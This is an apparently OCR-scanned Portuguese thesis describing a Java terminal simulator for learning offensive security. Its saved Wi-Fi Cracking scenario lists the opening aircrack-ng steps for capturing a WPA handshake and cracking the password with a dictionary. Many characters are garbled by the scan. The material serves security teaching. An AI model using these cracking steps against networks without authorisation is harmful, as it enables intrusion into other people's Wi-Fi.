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“A melhor defesa é um bom ataque.”

(Autor desconhecido)



RESUMO

Este trabalho apresenta a proposi¢ao de uma ferramenta de simulagdo computacional
de tarefas de seguranga ofensiva. Seguranca ofensiva representa a atuacao
profissional em busca de vulnerabilidades a serem exploradas em uma infraestrutura
de comunicagdo, a fim de corrigi-las. Essas atividades podem ser complexas,
inacessiveis ou apresentar riscos, principalmente para iniciantes na area de
seguranga da informagao. Para contornar obstaculos da realidade, como limitagdes
de recursos e riscos associados, pode-se empregar técnicas de simulagéo
computacional a fim de abstrair elementos da realidade para representa-la em um
programa com algumas limitagbes, diminuindo as restricdes indesejadas,
evidenciando o comportamento em estudo e tornando o cenario simulado mais
acessivel ao usuario. Com esse intuito, esse trabalho especifica, desenvolve e
apresenta um simulador acessivel para o aprendizado e pratica de seguranca
ofensiva, por meio da representacdo da execucdo de fluxo de comandos em uma
interface grafica similar a de um terminal do Kali Linux. Esse fluxo representa a
conducdo dos passos para se executar uma tarefa de seguranga ofensiva. Para
comprovar a eficacia da proposta, € mapeado um cenario real de quebra de senha de
rede Wi-Fi, sendo incluido no simulador e demonstrando a funcionalidade desta
ferramenta e sua capacidade de reproducdo de cenarios de teste de seguranga. O
simulador desenvolvido atinge os objetivos propostos, e apresenta potencial de
evolugao e recursos para auxiliar em tarefas didaticas de aprendizado pratico de
seguranga da informacédo. Um questionario foi conduzido com alunos do curso de
Seguranca da Informacédo da FATEC Americana e foi observado alinhamento entre o
que a ferramenta propde e as expectativas e necessidades dos alunos participantes.

Palavras Chave: seguranca ofensiva; simulagcéo, seguranca da informacéo.



ABSTRACT

This work presents the proposition of a computer simulation tool for offensive security
tasks. Offensive security represents professional action in search of vulnerabilities to
be exploited in a communication infrastructure, in order to correct them. These
activities can be complex, inaccessible or present risks, especially for beginners in the
area of information security. To circumvent reality obstacles, such as resource
limitations and associated risks, computer simulation techniques can be employed in
order to abstract elements of reality to represent it in a program with some limitations,
reducing unwanted restrictions, focusing in the behavior under study and making the
simulated scenario more accessible to the user. To this end, this work specifies,
develops and presents an accessible simulator for offensive security learning and
practice, by representing the execution of command flow in a graphical interface similar
to that of a Kali Linux terminal. This flow represents the conduction of steps to perform
an offensive security task. To prove the effectiveness of the proposal, a real Wi-Fi
password cracking scenario is mapped, being included in the simulator and
demonstrating the functionality of this tool and its ability to reproduce security test
scenarios. The developed simulator achieves the proposed objectives, and presents
potential for evolution and resources to assist in didactic tasks of practical information
security learning. A questionnaire was conducted with students from the FATEC
American Information Security course and an alignment was observed between what
the tool proposes and the expectations and needs of the participating students.

Keywords: offensive security; simulation; information security.
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1. INTRODUGAO

O conhecimento e pratica da seguranga ofensiva € um passo fundamental para
o desenvolvimento da capacidade de um profissional de Tecnologia da Informagéo
(T1) em proteger os sistemas computacionais sob sua responsabilidade.

Uma frase de conhecimento popular, adaptada para diversas areas, afirma que
“a melhor defesa € um bom ataque”. Esse conceito € reforgcado por profissionais de
Seguranga da Informacgéo (Sl). Segundo a Offensive Security (2020a), aprender como
as vulnerabilidades de seguranca sao exploradas capacita o profissional a defender
melhor seus sistemas. Sanabria (2018) aponta que os times de seguranga, ao
tentarem encontrar brechas na propria rede, podem identificar e remediar falhas na
infraestrutura antes que agentes maliciosos possam explora-las.

Contudo, tais atividades devem ser geridas com ética e prudéncia (BASTA,
2014). Iniciantes nos conceitos de seguranga da informacdo podem incorrer em
praticas ilegais na ansia pelo aprendizado, seja intencionalmente, em busca de
maiores desafios, ou mesmo por descuido, causado pelo desconhecimento técnico e
dos limites legais. O aluno ou aprendiz dessas praticas pode cometer descuidos
técnicos, justamente pela falta do conhecimento que busca obter, resultando em
brechas de seguranga permanentes e mais criticas, que nao tinha intengao em criar.

Esse retrato representa uma necessidade de um conhecimento que exige
grande pratica, ao mesmo tempo que demanda cautela e prudéncia de quem busca
esse conhecimento, qualidades estas que podem ainda nao estar amadurecidas no
praticante. Mais do que isso, essa pratica exige um ambiente que pode se tornar
complexo, demandando a presenga e configuracdo de diferentes dispositivos e
sistemas, como switches, servidores, sistemas operacionais, bancos de dados, entre
outros itens que compdem uma infraestrutura de comunicacéo.

Diante desse cenario, ha diferentes atitudes que um iniciante pode adotar: de
alguma forma adquirir esses equipamentos e montar seus proprios cenarios de teste,
0 que é pouco provavel; testar e desenvolver seus conhecimentos na infraestrutura
de terceiros, atuando de forma ilegal; permanecer com cenarios mais basicos que
estejam ao seu alcance e das maquinas virtuais que possa criar em seu proprio

computador; desmotivar e desistir da evolugao na area de seguranca.
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Esse impasse n&o é exclusivo da area de seguranga da informagédo. Muitas
outras atividades exigem pratica, treino, repeticdo, sem ter ao dispor a presenca
constante dos recursos relacionados ou tendo que evitar riscos associados. Um piloto
amador pode praticar horas de voo sem ter ao seu dispor um Boeing. Um astronauta
pode treinar e se preparar exaustivamente antes de ir para orbita. Um candidato a
carteira de motorista consegue praticar antes de entrar em um carro. E essas
atividades possuem riscos relacionados a sua ma execugao. Todos esses exemplos
podem encontrar uma alternativa na mesma abordagem: simulagdo computacional.

A modelagem matematica e simulagdo computacional visam abstrair
caracteristicas da realidade e inseri-las em uma simulacdo (BRITANNICA, 2020).
Dessa forma, apresentam a possibilidade de reproduzir os efeitos reais desejados,
sem os efeitos indesejados. Um piloto pode praticar todas as operacbes de uma
cabine de aviao, sem o risco de derruba-lo. Um astronauta pode praticar todos os
procedimentos necessarios na nave, sem o risco de ficar a deriva no espago. Um
candidato a carteira de motorista pode aprender sem o risco de atropelar os pedestres.
E um profissional de seguranga da informagao pode praticar ataques e invasées em
infraestruturas, sem invadir sistemas alheios, deixar brechas indesejadas em sua
prépria estrutura, ou mesmo sem a necessidade de criagao e configuragéo exaustiva
prévia desse ambiente.

Esse trabalho foi concebido com o intuito de auxiliar nessa tarefa de pratica de
seguranga ofensiva, ao especificar, desenvolver e oferecer uma ferramenta de
simulagcéo moldada aos praticantes de seguranga ofensiva. Um simulador que permita
a pratica similar a realidade, sem a necessidade de aquisicdo de equipamentos,
trabalho para configuragao do ambiente e preocupacdes com os riscos associados.

Dessa forma, os objetivos desse trabalho sao:

e Desenvolver uma ferramenta que simule uma interface de linha de
comando, que € a aplicacdo pela qual as atividades de segurancga sao
executadas.

e Selecionar e mapear o processo de execucdao de uma tarefa de
segurancga ofensiva real, adaptando-a para a simulagdo, comprovando
assim a sua funcionalidade.

e Aplicar um questionario com o publico-alvo dessa ferramenta (i.e., o0s
alunos de Sl da FATEC) para colher impressdes e recomendagdes sobre

a proposta dessa ferramenta.
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A motivagao desse trabalho foi a possibilidade de deixar uma contribui¢do ao
curso que tanto me ofereceu em aprendizado. Identificar uma lacuna em uma area
pela qual tenho tanto apreco, e realizar uma primeira contribui¢do ainda que modesta,
€ uma realizagdo académica e pessoal.

A estrutura desse texto foi organizada na seguinte forma: O Capitulo 2
apresenta o Referencial Teodrico, introduzindo a Seguranga Ofensiva e a Simulagao
Computacional. Algumas ferramentas existentes sao apresentadas para exemplificar
o potencial da simulagdo. O Capitulo 3 discorre sobre o desenvolvimento do
simulador, apresentando caracteristicas da ferramenta introduzida por esse trabalho.
O Capitulo 4 apresenta a execugdo de um cenario real de pratica de seguranga
ofensiva, e a sua respectiva simulagao executada na ferramenta desenvolvida. O
Capitulo 5 analisa os dados obtidos pelo questionario aplicado, tragando comparacdes
com a simulacao realizada. O Capitulo 6 apresenta as conclusbées do trabalho e

sugestdes para trabalhos futuros.
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2. REFERENCIAL TEORICO

As bases de referéncia tedrica para este trabalho residem, primeiramente, na
compreensao da Seguranga Ofensiva como area da Seguranga da Informagdo. Em
seguida, s&o apresentados conceitos de Simulagdo Computacional, como meio para
se alcangcar o objetivo deste trabalho. Por fim, sdo exemplificadas algumas
ferramentas baseadas em simulagcao para praticas relacionadas a seguranca da

informacgéo.

2.1 SEGURANCA OFENSIVA

Seguranga Ofensiva € um termo surgido para contrastar com a tradicional
“seguranca defensiva” adotada por muitas equipes de Tl. Em uma abordagem
defensiva, as equipes se pautam em medidas preventivas como manter sistemas
atualizados, instalar e configurar antivirus e firewalls, e monitorar o trafego da rede.
Contudo, nessa abordagem, a equipe de Tl permanece aguardando por um evento
malicioso, esperando que suas politicas e procedimentos estejam adequados para
conseguir reagir no momento do ataque.

Em contrapartida, com uma abordagem de seguranca ofensiva, a equipe
constantemente busca brechas em seus sistemas, atuando de forma semelhante ao
invasor, partindo do lado externo da rede. Ao tentar atacar sua propria infraestrutura,
com as mesmas ferramentas e a mentalidade do agente malicioso, pode encontrar
falhas que nao seriam facilmente identificadas de uma perspectiva interna.

O termo Seguranca Ofensiva é presente em cursos (UDEMY, 2020), em
conferéncias (OFFENSIVE CON, 2020), em servigos de grandes empresas (IBM,
2020), e provavelmente tenha sido popularizado pela empresa que carrega esse
nome, a Offensive Security (OFFENSIVE SECURITY, 2020b), responsavel pela
criacao e distribuicdo de Linux direcionada para praticas de seguranca ofensiva, o Kali
Linux (OFFENSIVE SECURITY, 2020c). Baseado em Debian, foi langado em 2013,
substituindo o projeto anterior — Backtrack — que havia sido langado em 2006 e
descontinuado em 2012. Além disso, a Offensive Security promove uma das
certificagbes em seguranca ofensiva mais respeitadas do mercado, a Offensive
Security Certified Professional (OSCP) (OFFENSIVE SECURITY, 2020d).
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Seguranga Ofensiva € um nome que possui alguns sinbnimos e conceitos
relacionados. Talvez os termos mais conhecidos sejam Teste de Vulnerabilidade,
Teste de Intrusdo ou Teste de Penetracdo (do inglés Penetration Test, ou ainda,
Pentest), que consiste na agcédo de buscar vulnerabilidades em uma rede e emitir um
relatorio de diagnostico de sua seguranga, apontando as falhas, suas consequéncias
se exploradas, e as corregdes a serem adotadas (HACKER SECURITY, 2020).

Outro conceito existente € Red Team para se referir a uma equipe que possui
autorizacado para invadir um sistema ou rede, enquanto o Blue Team denomina a
equipe que permanece defendendo a infraestrutura (CYBRARY, 2015). Essa
caracterizagao € utilizada em wargames e testes de seguranga das redes de
comunicagao.

Por fim, os termos White Hat Hacker ou Ethical Hacker classificam a postura
de um profissional de seguranga da informagdo com know-how de como explorar
falhas de seguranca e invadir sistemas (EC-COUNCIL, 2020). Porém, ao invés de
buscar beneficios préprios com tais invasdes, este utiliza seus conhecimentos
técnicos para fins legais, seja contratado ou exercendo consultoria para empresas,
realizando pentesting, ou mesmo deliberadamente buscando falhas em sistemas e
sites e os reportando aos responsaveis, para que as corregdes sejam feitas.

Explorando esses termos, muitas referéncias surgem, de féruns e comunidades
dessa tematica, além de livros, tutoriais, cursos, certificagdes, e diversos materiais
que contribuem para o aprofundamento do profissional de Tl na area de seguranca

ofensiva.

2.2 SIMULAGAO COMPUTACIONAL

Segundo Banks et al. (2005) simulagao € a imitagao da operagao de processos
do mundo real ou sistemas ao longo do tempo, seja feita em computador ou néo.
Quando conduzida computacionalmente, essa ag¢ao pode ser utilizada para inferir
caracteristicas do sistema real, a partir de dados obtidos pela simulagcédo, ou para
representar em uma simulagao eventos abstraidos da realidade. Dessa forma, para
este trabalho, utilizou-se a simulagcdo computacional para representar uma interface
de linha de comando, permitindo ao usuario digitar comandos e visualizar resultados,

de forma semelhante a interagdo com um terminal real.
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Simulacbes sdo técnicas poderosas que podem ser utilizadas em diferentes
pesquisas, muitas vezes, inviaveis de serem conduzidos na realidade. O estudo de
previsao meteorolégica (INMET, 2020) e de fluxo de pedestres em estagdes de metrd
(ENGIMIND, 2017) sao apenas alguns exemplos de aplicacbes de simulagbes
computacionais.

Abordagens para representagdes de fendbmenos mais complexos se pautam na
modelagem matematica para caracterizar numericamente em sistemas
computacionais esses eventos do mundo real. A Simulagdo de Eventos Discretos
(SED) consiste na especificacdo de um sistema no qual sdo modeladas variaveis da
realidade que se deseja representar, simulando condicbes a serem testadas
computacionalmente e oferecendo um meio para analisar solugbes de dificil
implantacao e teste pratico.

Segundo Law e Kelton (1999), simula¢des de eventos discretos sao técnicas
computacionais para imitar operagcdes ou processos reais de todos os tipos,
chamados de sistemas. E necessario fazer suposicdes sobre como funciona, por meio
de relagdes légicas ou matematicas, que correspondem ao modelo gerado para se
estudar e obter alguma compreensdo de como o sistema se comporta. Muitos
sistemas do mundo real sdao complexos e devem ser estudados por simulagao,
obtendo dados numéricos para estimar as caracteristicas reais do sistema.

Portanto, a criagdo de uma simulagao é o meio viavel para a solugao proposta
por esse trabalho, porém, nesse estudo destaca-se que nao sera abordado um
processo estocastico ou a representacao de variaveis, dessa forma, nao € pretendido
a obtencao de nenhum valor para inferir ao sistema real. O intuito desse trabalho é
adotar uma abordagem mais simples de simulacdo computacional, suficiente para a
representacao da entrada, processamento e saida dos comandos no terminal, a fim

de observar na simulacao parte do comportamento do sistema real.

2.3 FERRAMENTAS EXISTENTES

Buscando por ferramentas de simulacdo relacionadas a atividades de
seguranga, nao foi possivel encontrar alguma especifica com essa finalidade, porém
algumas ferramentas relacionadas foram identificadas.

O Cisco Packet Tracer (CISCO, 2020a), atualmente na versédo 7.3.0, é um

simulador de redes de computadores, que permite recriar topologias com switches,
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roteadores, servidores, desktops, pontos de acesso a rede sem fio, além de configurar
protocolos de redes e os varios equipamentos disponiveis. Essa € uma ferramenta
muito utilizada para aprendizado, sendo a referéncia de pratica para a certificagao
Cisco Certified Network Associate (CCNA).

A Figura 1 representa uma topologia criada no Packet Tracer. E possivel criar
uma interagdo com um desktop (nesse caso, o PC5), abrindo um prompt de comando
para digitar linhas de comando. Dessa forma, a interacdo é semelhante a proposta

nesse trabalho, porém voltada a configuracao e diagndstico de redes.

Figura 1 — Cenario no Cisco Packet Tracer
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Fonte: Elaborado pelo autor.

Para estudos mais aprofundados, como a preparagao para certificacbes mais
avangadas, outras ferramentas sao indicadas, como o Graphical Network Simulator-
3, ou GNS3 (GNS3, 2020), atualmente na versado 2.2.9. Mais do que simular alguns
comportamentos de rede, esse software permite emular os sistemas dos dispositivos.
Por exemplo, o Cisco Internetworking Operating System (I0S) (CISCO, 2020b) é o
sistema operacional de muitos roteadores da Cisco, e o GNS3 permite que seja
carregada uma imagem desse sistema operacional, para ser emulada na topologia.

Nesse ponto, distingue-se simulagao de emulagdao. Uma simulacéo € a imitagao
de um sistema, podendo representar apenas algumas partes, e sendo implementando
de forma distinta da implantacédo do sistema real. Uma emulagao € a reproducéo do
sistema real, onde é esperado que se comporte exatamente e inteiramente como o
sistema representado. Por isso, na emulacédo de sistemas operacionais, utiliza-se o

carregamento da imagem original presente nos dispositivos fisicos.
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A Figura 2 representa a criacdo de um roteador no GNS3. E carregada uma
imagem IOS ¢3725 no roteador R1. Ha uma grande variedade de imagens de sistemas
que podem ser encontradas na Internet para serem baixadas e carregadas no GNS3,

para emular cada dispositivo desejado.

Figura 2 — Cenario no GNS3
File Edit View Control Node Annotate Tools Help
B OB > ) C FEIIC - 6Q2QME
Routers @®E

—
Filter R

-ﬂr
J
D1

e
Fonte: GNS3, 2019.

Mais proximo de tarefas de seguranga ofensiva, ou mais precisamente com a
tematica Hacking, foram encontradas simula¢gdes com diferentes graus de abstragao,
voltadas para o entretenimento, ou seja, jogos digitais. Ha uma grande variedade de
titulos, desde jogos altamente populares e com alto grau de abstragdo da realidade,
como Watch Dogs, a titulos indie que se aproximam um pouco mais da realidade
(ainda que de forma bastante abstrata).

Dentre esses titulos, ha o jogo brasileiro Hacker Experience. Inicialmente
publicado em 2014 por um Unico desenvolvedor, o intuito do jogo é representar tarefas
de hacking mas com o objetivo de entreter, sem necessitar de conhecimentos técnicos
e nem representar conexado com a realidade. O jogo funciona a partir de um navegador
e utiliza menus e funcionalidades simples para interagao do jogador, representando a
execucao de tarefas complexas. A Figura 3 ilustra uma técnica representada de forma
simples: para um ataque de brute force, basta digitar o IP da vitima, e clicar em um
botdo para executar o ataque e automaticamente obter acesso. Portanto, apesar de
representar uma simulagéo do que poderia ser a tela do computador de um hacker, o
intuito do jogo é entreter, apresentando termos da area de seguranca ofensiva, mas

sem correlagao aos passos da execucao real.
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Figura 3 — Tela do jogo Hacker Wars
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Fonte: Elaborado pelo autor.

O jogo Hacker Experience foi descontinuado pelo desenvolvedor original e o
codigo-fonte foi liberado publicamente. Um fork do projeto foi realizado, algumas
atualizacbes efetuadas, e hoje o jogo encontra-se pelo nome de Hacker Wars
(HACKER WARS, 2019).

Por fim, no campo ludico, entre diversos sites destinados ao aprendizado de
programacao e conceitos de Tl, pode-se mencionar o Codecademy (CODECADEMY,
2020). Essa é uma plataforma destinada ao aprendizado e pratica de linguagens de
programacao. Para isso, oferece um painel semelhante a uma interface de linha de
comando, sendo o meio pelo qual o usuario pode digitar e praticar os comandos
aprendidos.

Ha uma trilha de aprendizado para Bash Scripting, a sintaxe adotada no uso do
terminal proposto nesse trabalho, porém esse € um curso pago na plataforma. A
Figura 4 ilustra uma tela do curso de Python, demonstrando que ha uma area para
instru¢des, uma para digitagdo dos comandos, e outra para a saida representada pela
execugao do cdédigo. Nessa figura observa-se que nao foi atendido a instrugéo
esperada para esse passo, por isso uma mensagem de alerta é gerada, aguardando

até que o usuario digite algo valido para cumprir essa tarefa.
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Figura 4 — Tela do site Codecademy: Learn Python
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In Python, and when programming in general, we need to

build systems for dealing with data that changes over time.
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only important thing is that it may be different at different

times. Python uses variables to define things that are

subject to change.

In the above example, we defined a variable called
greeting message and set it equal to the string “Welcome
to Codecademy!”. It also defined a variable called

rrrrrr t_exercise and set it equal to the number 5.

Instructions

1. Create a variable called todays_date and assign a
value that will represent today's date to that
variable.

Q View Solution

= 5.Variables © Get Help

Fonte: Elaborado pelo autor.

Por essa investigagcao, nao foi identificada uma ferramenta com o mesmo
objetivo da proposta nesse trabalho. Portanto, esse trabalho busca simular uma
interface de linha de comando semelhante como é feito pelo Packet Tracer, com a
tematica de segurancga ofensiva abordada pelo Hacker Wars, e o foco no ensinamento

de cada etapa como no Codecademy.

2.4 CONSIDERAGOES DO CAPITULO

Seguranga ofensiva consiste na acdo de busca por vulnerabilidades de
segurancga na infraestrutura de comunicagéao, a fim de encontra-las e corrigi-las antes
que um agente malicioso possa explora-las. Para isso, € necessario conhecer e
dominar as atividades que estes mesmos agentes executariam.

Como tais atividades sao executadas por meio de uma interface de linha de
comando, € interessante que, para aprendizado e pratica dessas acdes, uma
ferramenta represente um terminal para que o aluno ou aprendiz possa praticar em
um ambiente simulado. Simulagbes computacionais sdo recursos potentes e
amplamente difundidos para diferentes cenarios de estudo, representando uma
possibilidade real, e ainda pouco explorada, de aplicagdo no contexto de seguranga

ofensiva.
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3. DESENVOLVIMENTO DO SIMULADOR

Para atingir o objetivo de construgdo de uma ferramenta de simulagdo para
pratica de segurancga ofensiva, primeiro deve ser identificado qual ferramenta ou
recurso do mundo real que sera simulado. A distribuigdo Kali Linux € amplamente
reconhecida e adotada em praticas de seguranga ofensiva. Dessa forma, este trabalho
se propde a simular a interface de linha de comando desse sistema operacional.

A terminologia para se referir a interface de linha de comando, ou Command
Line Interface (CLI) é abrangente (STACK EXCHANGE, 2010). Basicamente, CLI € o
nome dado ao programa que permite a entrada de comandos a serem executados
pelo sistema operacional. Shell é o interpretador desses comandos, sendo o Bash
comum nas distribuicdes do Linux. Terminal (ou tty) refere-se ao ambiente l6gico de
interacdo entre usuario e sistema, enquanto Console refere-se a um equipamento de
interface de usuario, sendo por exemplo, o teclado. Nesse trabalho, CLI e Terminal
sdo adotados como sinénimos, referindo-se ao programa com o qual o usuario pode
inserir comandos, executa-los e visualizar as informacgdes de saida.

O segundo passo é a definigdo do meio de desenvolvimento da ferramenta
proposta. Foi escolhida a linguagem de programacao Java (ORACLE, 2020) por
apresentar a Application Programming Interface (APl) SWING, que entrega acesso a
um amplo conjunto de recursos para construgao de interfaces graficas, o que é uma
necessidade central na construcado desse simulador.

Por se tratar de uma simulagao, o que se subentende ser uma representacao
da realidade, deve-se definir o que sera representado e o nivel de abstragao adotado.
De forma resumida, a ferramenta desenvolvida deve simular a interface grafica do
Terminal, portanto, representar um fundo preto com letras brancas, incluindo a
referéncia do usuario e diretério em cada linha, aceitando a digitagdo de comandos a
cada ENTER pressionado. Deve simular caracteristicas do Terminal, como o sinal de
underline piscando apds o ultimo caractere digitado, uma barra de rolagem dinamica
que aparece quando as mensagens extrapolam a dimensao da tela, e alguns
comandos basicos a serem identificados em qualquer contexto de execucao.

Além da simulagdo do Terminal, a ferramenta deve prover outros recursos
inerentes a sua proposta: permitir a criagao de cenarios de teste, que justamente serao
simulados na ferramenta. A partir de todas essas necessidades discutidas, define-se

o fluxo de funcionamento do simulador representado na Figura 5.
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Figura 5 — Fluxograma do Simulador
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Fonte: Elaborado pelo autor.

A verificagao do timer somente sera feita quando em modo “Time Attack”. Outro
ponto de observacado é que o simulador permanece funcional mesmo sem carregar
um cenario de simulagdo. Nesse caso somente os comandos pré-configurados serao
verificados.

O simulador possui um total de 3 modos:

1. Aprender. a cada passo sdo impressos 0 numero do passo, comando a
ser executado e explicagao do comando.

2. Praticar. nao é mostrado nenhuma mensagem a cada passo, se
assemelhando ao Terminal real.

3. Time Attack: semelhante ao modo Praticar, com o acréscimo de um
contador no canto superior direito do Terminal. Cada passo deve ser

executado antes do término desse contador.
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A Figura 6 ilustra o menu de selegdo dos cenarios. Os mesmos cenarios
aparecem selecionaveis para os trés modos. Nesse exemplo, ha apenas um cenario

criado, que é apresentado na Secéo 4.2. Com a criagdo de novos cenarios, estes
apareceriam listados nesse menu.

Figura 6 — Menu de selecdo de cenarios

M Terminal Simulator

Iniciar | Opcoes

Aprender P Wi-FiCracking
Praticar »

Time Attack b

Fonte: Elaborado pelo autor.

A Figura 7 ilustra o carregamento do cenario Wi-Fi Cracking pelo modo
Aprender. Todas as informag¢des de cada passo sdo carregadas, por este ser um
modo para iniciantes. Nota-se que no inicio € impresso o nome do cenario e as

instrugcdes gerais. Esses dois itens sdo apresentados no inicio dos trés modos.

Figura 7 — Modo Aprender
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Fonte: Elaborado pelo autor.
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A Figura 8 ilustra o carregamento do cenario Wi-Fi Cracking pelo modo Praticar.
Nota-se a auséncia da indicagao do passo, do comando e da explicagdo, assim como
seria o comportamento do Terminal real. Por se tratar de uma pratica a nivel
intermediario, considera-se que o usuario ainda possa se confundir quanto aos
comandos, por isso € possivel digitar o comando show next para visualizar o comando

esperado.

Figura 8 — Modo Praticar
B Terminal Simulator - x
i Opgoes

rio:Wi-Fi Cracking

-fi que p
e wlanl.

ng start wlanl

Fonte: Elaborado pelo autor.

A Figura 9 ilustra o carregamento do cenario Wi-Fi Cracking pelo modo Time
Attack. Nota-se ser semelhante ao modo Praticar, contudo, no canto superior direito,
ha a presenga de um contador em contagem regressiva, representando o tempo
restante que o usuario possui para digitar corretamente o comando esperado. Esse
tempo é configurado durante a criagdo dos passos. Esse € um modo para usuarios

avangados que buscam desafiar seus conhecimentos e habilidades.

Figura 9 — Modo Time Attack
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Fonte: Elaborado pelo autor.
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A conduc¢ao dos cenarios segue o fluxograma representado na Figura 5. Cada
execucao correta do comando esperado avanga o cenario para o proOXimo passo,
resultando na mensagem esperada. Um comando errado imprime uma mensagem de
erro e mantém o cenario no passo atual.

Ha outros comandos pré-configurados que o usuario pode digitar para prover
maior interacdo com o simulador:

e end: cancela o cenario em execugao;
e exit: encerra o simulador;
e help: imprime um texto explicativo sobre o simulador;

e restart: reinicia o cenario em execucgao;

show next: mostra o comando esperado (modo Praticar).

A execucgao do comando nhelp pode ser realizada tanto diretamente na linha de
comando, quanto acessando o menu “Opgbes” seguido por “Ajuda”, afinal,
inicialmente o usuario ndo sabera a existéncia do comando help. O resultado da

execucao desse comando é demonstrado na Figura 10.

Figura 10 — Comando help
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Fonte: Elaorado pelo autor.

Ao selecionar o menu “Opgdes” e em seguida “Criar”, abrira a tela de criagao
de cenarios de simulagédo, conforme Figura 11. Nessa tela € inserido o nome do
cenario (que sera incluido na listagem dos modos de simulagao) e instru¢des gerais
sobre o cenario. Em seguida sao inseridos, para o primeiro passo, o comando, tempo

de execucao do mesmo em modo Time Attack, resultado a ser exibido pelo comando,
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mensagem de erro quando digitado errado, e explicagbes desse passo. Deve-se
pressionar o botdo ADICIONAR para confirmar a criacdo do cenario e do primeiro
passo. Em seguida, as opgdes de Nome e Instrugcdes nao ficardo mais editaveis, a
contagem de passo incrementara automaticamente, e sera possivel inserir os dados
do préoximo passo. Essa iteragdo pode ser repetida quantas vezes for necessario,
sempre confirmando com o botdo ADICIONAR. Quando ndo houver mais passos a
serem criados, o botdo FINALIZAR deve ser pressionado. Sera retornado ao terminal
e 0 cenario sera automaticamente adicionado a lista dos modos. O botdo CANCELAR
pode ser pressionado a qualquer momento, e a criagdo do cenario sera cancelada,
retornando ao terminal. Na Secao 4.2 € demonstrado passo-a-passo a criagdo de um

cenario.

Figura 11 — Criagéo do cenario
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Comando: |
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Fonte: Elaborado pelo autor.

Nesta tela de criacdo de cenario, os menus permanecem desabilitados.
Somente apds a conclusao ou cancelamento da criacdo dos cenarios, que 0s menus
sdo reativados.

Os cenarios sdo salvos em um arquivo nomeado cenatrios.txt, dentro do projeto
do codigo-fonte. Quando o simulador € iniciado, automaticamente é carregado os
cenarios salvos nesse arquivo. A Figura 12 ilustra o inicio do cenario Wi-Fi Cracking

salvo no arquivo.
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Figura 12 — Arquivo de salvamento dos cenarios

" cenarios - Notepad - o X
Fil View Help
¢ Cracki ~

ing
:Neste cendrio & realizado uma quebra de senha WPA/WPA2. Este & um das possiveis métodos de abordagem,
nsiste na captura do handshake WPA para posterior busca da senha em um dicionario.
0 Kali Linux, e certifique que esteja com acesso root. Conecte um adaptador de rede wi-fi que possa
executar em modo monitor. Nesse cenario, considera-se que o adaptador estd utilizando a interface wlanl.

1

Comando:airmon-ng start wlanl

els
PID Name
1233 NetworkManager
1283 wpa_supplicant
PHY Interface Driver Chipset
phy@  wlan@ athok Qualcomm Atheros AR9485 Wireless Network Adapter (rev 81)
phy2  wlanl athok_htc Qualcomm Atheros Communications AR9271 862.11n

(mac89211 monitor mode vif enabled for [phy2]wlanl on [phy2]ulanimon)
(mac80211 station mode vif disabled for [phy2Julanl)
Erro:Requested device does not exist.
n

o0 see available interfaces

u gume
Explicacio:0 primeiro passo & colocar a interface em modo promiscuo (ou monitor).

Isso permite que a interface possa identificar e receber todos os pacotes de todas as redes Mi-Fi ao seu alcance.
Pa

mando:airmon-ng check kill
Tempo:6
Resultado:Killing these processes:

PID Name
1283 wpa_supplicant

Iéonte: Elaborado pelo autor.

Ha uma o6tima razdo para se utilizar esse arquivo para guardar os cenarios
criados. Uma vez que esses cenarios sao reflexos da execugdo no terminal real, é
conveniente que estes sejam copiados diretamente dessa execugédo. Isso pode ser
feito com um procedimento de copiar o texto do terminal e colar em um bloco de notas,
por exemplo. Dessa forma, pode ser mais pratico colar esse texto diretamente no
arquivo cenarios.txt, apenas assegurando que seja respeitado a estrutura a ser
seguida. Para isso, basta observar a sequéncia, os comandos e separagdes entre 0s
passos e cenarios.

De forma similar, € mais pratico a edicao diretamente no arquivo texto, caso
deseje alterar o tempo do contador, ou ajustar alguma mensagem. Por isso, apos a
familiarizagdo com o uso desse arquivo, se torna muito mais pratico sua manipulagao
direta do que o uso da interface de criacdo de cenarios.

Outras features foram incluidas no comportamento do simulador. Se o niumero
de linhas exceder o tamanho da janela, € criado uma barra de rolagem, semelhante
ao Terminal do Linux. Ao pressionar ENTER, em uma linha vazia, o cursor prossegue
para uma nova linha abaixo. Aplicou-se um efeito interessante no final de cada linha,
apresentando o sinal de underline piscando. Esse sinal aparece por 500
milissegundos e desaparece por outros 500 milissegundos. A Figura 13 demonstra

essas trés caracteristicas.
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Figura 13 — Algumas caracteristicas visuais do simulador
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Fonte: Elaborado pelo autor.

O desenvolvimento dessa ferramenta resultou em mais de 1000 linhas de
codigos digitados exclusivamente para esse trabalho, representando um projeto
inteiramente original.

Dentre as diversas classes disponibilizadas pela linguagem Java, ha o uso de:
JFrame, JPanel, JMenu, JTextArea, JLayeredPane, GridBagConstrains, Document,
Action, Timer, BufferedReader, ArrayL.ist, Exception, entre outras. A criacdo do layout
da aplicagdo é inteiramente desenvolvida em cdodigo, sem recorrer ao uso de
Graphical User Interface (GUI) auxiliar para criagao de interfaces, como o provido pela
Integrated Development Environment (IDE) NetBeans. Diversos métodos dessas
classes entre outros criados exclusivamente para a aplicagao foram utilizados nesse

projeto.

3.1 CONSIDERAGOES DO CAPIiTULO

O desenvolvimento da ferramenta foi conduzido de forma a assemelha-la
visualmente e funcionalmente ao Terminal do Linux, simulando o seu comportamento
basico. O resultado obtido foi satisfatorio e condiz com uma representagao verossimil
da ferramenta real, dentro do escopo adotado para esse trabalho.

Esse projeto continua em aperfeicoamento, pois acredita-se no potencial de
evolucao da ferramenta. O resultado obtido até aqui, conforme imagens e discussdes
no capitulo, demonstra a facilidade e praticidade no uso do simulador, atingindo os

objetivos desejados.



32

4, ESTUDO DE CASO - ATAQUE A REDE SEM FIO

Ataques as redes sem fio visam explorar fragilidades dos protocolos de
seguranga, das senhas ou dos roteadores Wi-Fi e Access Points (APs), a fim de obter
acesso nao autorizado a rede. A ampla adocdo de redes sem fio em ambientes
empresariais e residenciais despertou a atencao de interessados em investiga-las,
fomentando o surgimento de ferramentas e meios para explorar suas vulnerabilidades.
Nesse contexto, auditar redes sem fio € uma tarefa fundamental para a segurancga da
infraestrutura de comunicacdo. Para isso, as mesmas ferramentas utilizadas para a
invasdo maliciosa podem ser usadas para detectar fragilidades e auxiliar nas
corregdes de segurancga.

O Kali Linux apresenta nativamente a inclusdo do Aircrack-ng (Aircrack-ng,
2020), que nao é uma unica ferramenta, mas uma suite de ferramentas e scripts
direcionados a atividades especificas, utilizados para, em conjunto, explorar
fragilidades (“crackear”) de redes sem fio. A ferramenta original, Aircrack, foi criada em
2010, sendo uma das mais antigas e que continuou evoluindo até os dias atuais, se
tornando uma ferramenta de referéncia para essa finalidade.

